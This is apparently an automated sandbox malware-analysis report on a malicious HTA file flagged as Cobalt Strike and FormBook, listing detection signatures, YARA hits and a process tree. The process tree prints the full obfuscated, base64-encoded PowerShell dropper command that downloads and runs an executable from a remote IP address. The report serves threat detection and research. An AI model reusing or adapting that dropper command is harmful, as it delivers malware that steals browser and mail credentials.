Windows
Analysis Report
clearpicturewithmebestthingsforgivenmebest.hta
Overview
General Information
Detection
Cobalt Strike, FormBook
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Detected Cobalt Strike Beacon
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
Yara detected Powershell decode and execute
Binary is likely a compiled AutoIt script file
Found direct / indirect Syscall (likely to bypass EDR)
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
PowerShell case anomaly found
Powershell drops PE file
Queues an APC in another process (thread injection)
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Process Parents
Suspicious command line found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Uncommon Svchost Parent Process
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Classification
- System is w10x64
mshta.exe (PID: 8712 cmdline:
mshta.exe "C:\Users\ user\Deskt op\clearpi cturewithm ebestthing sforgivenm ebest.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) cmd.exe (PID: 8768 cmdline:
"C:\Window s\system32 \cmd.exe" "/c powErs hell.exE -ex bypAs s -N op - w 1 -C deViC eCredEnTiA ldePLOymen T ; iEx( $(Iex('[sY sTEm.TeXt. EncoDIng]' +[CHAR]0x3 a+[ChaR]0X 3A+'UTf8.g EtStrINg([ SySteM.cOn vERT]'+[ch AR]58+[ChA r]0X3a+'Fr omBAse64ST riNg('+[Ch ar]34+'JGo xICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgID0gI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgYURkLXR ZcEUgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL W1FbUJlcmR FRmlOSXRJT 04gICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgJ1t EbGxJbXBvc nQoInVyTG1 vTi5kbGwiL CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBDaGF yU2V0ID0gQ 2hhclNldC5 Vbmljb2RlK V1wdWJsaWM gc3RhdGljI GV4dGVybiB JbnRQdHIgV VJMRG93bmx vYWRUb0Zpb GUoSW50UHR yICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIEtmL HN0cmluZyA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBiaGZ1d nVwcENOLHN 0cmluZyAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CB1YmpCb2g sdWludCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBhdXRNSGF lLEludFB0c iAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBnZ3d vdmVvT1hKK TsnICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIC1 uYU1lICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CJMIiAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA tbmFNZXNQY WNlICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIGR oblIgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL VBhc3NUaHJ 1OyAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAka jE6OlVSTER vd25sb2FkV G9GaWxlKDA sImh0dHA6L y8xNzIuMjQ 1LjEyMy4yN C81MzAvY29 zc2VzLmV4Z SIsIiRFblY 6QVBQREFUQ Vxjb3NzZXM uZXhlIiwwL DApO3N0YVJ 0LVNsRUVQK DMpO2ludk9 rZS1pdGVNI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICIkZW5 WOkFQUERBV EFcY29zc2V zLmV4ZSI=' +[Char]34+ '))')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) conhost.exe (PID: 8776 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) powershell.exe (PID: 8812 cmdline:
powErshell .exE -ex bypAss -Nop -w 1 -C deViCeCr edEnTiAlde PLOymenT ; iEx($(I ex('[sYsTE m.TeXt.Enc oDIng]'+[C HAR]0x3a+[ ChaR]0X3A+ 'UTf8.gEtS trINg([SyS teM.cOnvER T]'+[chAR] 58+[ChAr]0 X3a+'FromB Ase64STriN g('+[Char] 34+'JGoxIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgID0gICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg YURkLXRZcE UgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgLW1F bUJlcmRFRm lOSXRJT04g ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgJ1tEbG xJbXBvcnQo InVyTG1vTi 5kbGwiLCAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBDaGFyU2 V0ID0gQ2hh clNldC5Vbm ljb2RlKV1w dWJsaWMgc3 RhdGljIGV4 dGVybiBJbn RQdHIgVVJM RG93bmxvYW RUb0ZpbGUo SW50UHRyIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIEtmLHN0 cmluZyAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC BiaGZ1dnVw cENOLHN0cm luZyAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICB1 YmpCb2gsdW ludCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBh dXRNSGFlLE ludFB0ciAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBnZ3dvdm VvT1hKKTsn ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIC1uYU 1lICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICJM IiAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAtbm FNZXNQYWNl ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIGRobl IgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgLVBh c3NUaHJ1Oy AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAkajE6 OlVSTERvd2 5sb2FkVG9G aWxlKDAsIm h0dHA6Ly8x NzIuMjQ1Lj EyMy4yNC81 MzAvY29zc2 VzLmV4ZSIs IiRFblY6QV BQREFUQVxj b3NzZXMuZX hlIiwwLDAp O3N0YVJ0LV NsRUVQKDMp O2ludk9rZS 1pdGVNICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICIkZW5WOk FQUERBVEFc Y29zc2VzLm V4ZSI='+[C har]34+')) ')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) csc.exe (PID: 8932 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\fjq1drut \fjq1drut. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) cvtres.exe (PID: 8948 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE S3A73.tmp" "c:\Users \user\AppD ata\Local\ Temp\fjq1d rut\CSC5A4 3CF9668DC4 24F8B475C3 1EBB405.TM P" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) cosses.exe (PID: 9000 cmdline:
"C:\Users\ user\AppDa ta\Roaming \cosses.ex e" MD5: C338C9CDCCB21A6F023987865B4A6269) svchost.exe (PID: 9036 cmdline:
"C:\Users\ user\AppDa ta\Roaming \cosses.ex e" MD5: 1ED18311E3DA35942DB37D15FA40CC5B) hudFv7yP8kEYIbmJoqYH.exe (PID: 1672 cmdline:
"C:\Progra m Files (x 86)\WBXxzT iOZQlFvWcH BBLiFQzXrc MxczHCamSr ouxYgxWCno eJCmGsAQwP DXivEJh\js 6QKahy.exe " MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A) calc.exe (PID: 8452 cmdline:
"C:\Window s\SysWOW64 \calc.exe" MD5: 961E093BE1F666FD38602AD90A5F480F) hudFv7yP8kEYIbmJoqYH.exe (PID: 6856 cmdline:
"C:\Progra m Files (x 86)\WBXxzT iOZQlFvWcH BBLiFQzXrc MxczHCamSr ouxYgxWCno eJCmGsAQwP DXivEJh\5N AHkWkYd1Lw d.exe" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A) firefox.exe (PID: 8240 cmdline:
"C:\Progra m Files\Mo zilla Fire fox\Firefo x.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Formbook, Formbo | FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware. |
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Click to see the 3 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |
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Source: | Author: Michael Haag: |